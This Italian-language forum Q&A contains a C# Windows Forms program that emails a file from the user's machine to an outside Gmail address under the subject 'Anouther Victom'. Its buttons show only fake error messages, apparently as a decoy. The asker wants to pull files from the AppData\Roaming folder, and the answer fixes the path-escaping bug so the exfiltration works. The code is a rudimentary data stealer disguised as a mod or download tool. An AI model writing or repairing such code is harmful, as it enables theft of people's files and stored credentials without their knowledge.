Perché non posso inviare questa email con un allegato?

using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; using System.Net; using System.Net.Mail; namespace WindowsFormsApplication1 { public partial class Form1 : Form { public Form1() { InitializeComponent(); } public void email_send() { MailMessage mail = new MailMessage(); SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");//the smtp server mail.From = new MailAddress("my [email protected]");//my email adress mail.To.Add("[email protected]"); mail.Subject = "Anouther Victom"; mail.Body = "mail with attachment"; System.Net.Mail.Attachment attachment; attachment = new System.Net.Mail.Attachment("C:\test.txt"); //attachment file location mail.Attachments.Add(attachment); SmtpServer.Port = 587; SmtpServer.Credentials = new System.Net.NetworkCredential("my [email protected]", "password"); SmtpServer.EnableSsl = true; SmtpServer.Send(mail); } private void button1_Click(object sender, EventArgs e) { MessageBox.Show("Error retriving download url sorce check you url or serch the help guid for help solving this error"); } private void button2_Click(object sender, EventArgs e) { MessageBox.Show("Error no mod discoverd inside of resorce file"); } } } 

Questo non invierà l’e-mail che voglio e quando provo a dare un percorso di file più grande di c \ file.txt ma non capirà C: \ Users \ George \ AppData \ Roaming o qualsiasi estensione desidero che copi una risorsa file e inviarlo via email per aiutare lo sviluppo di app.

il tuo problema è "C:\test.txt" : "\t" è interpretato come una scheda. Si desidera utilizzare una stringa letterale con @"C:\test.txt" o uscire dalla barra rovesciata con "C:\\test.txt"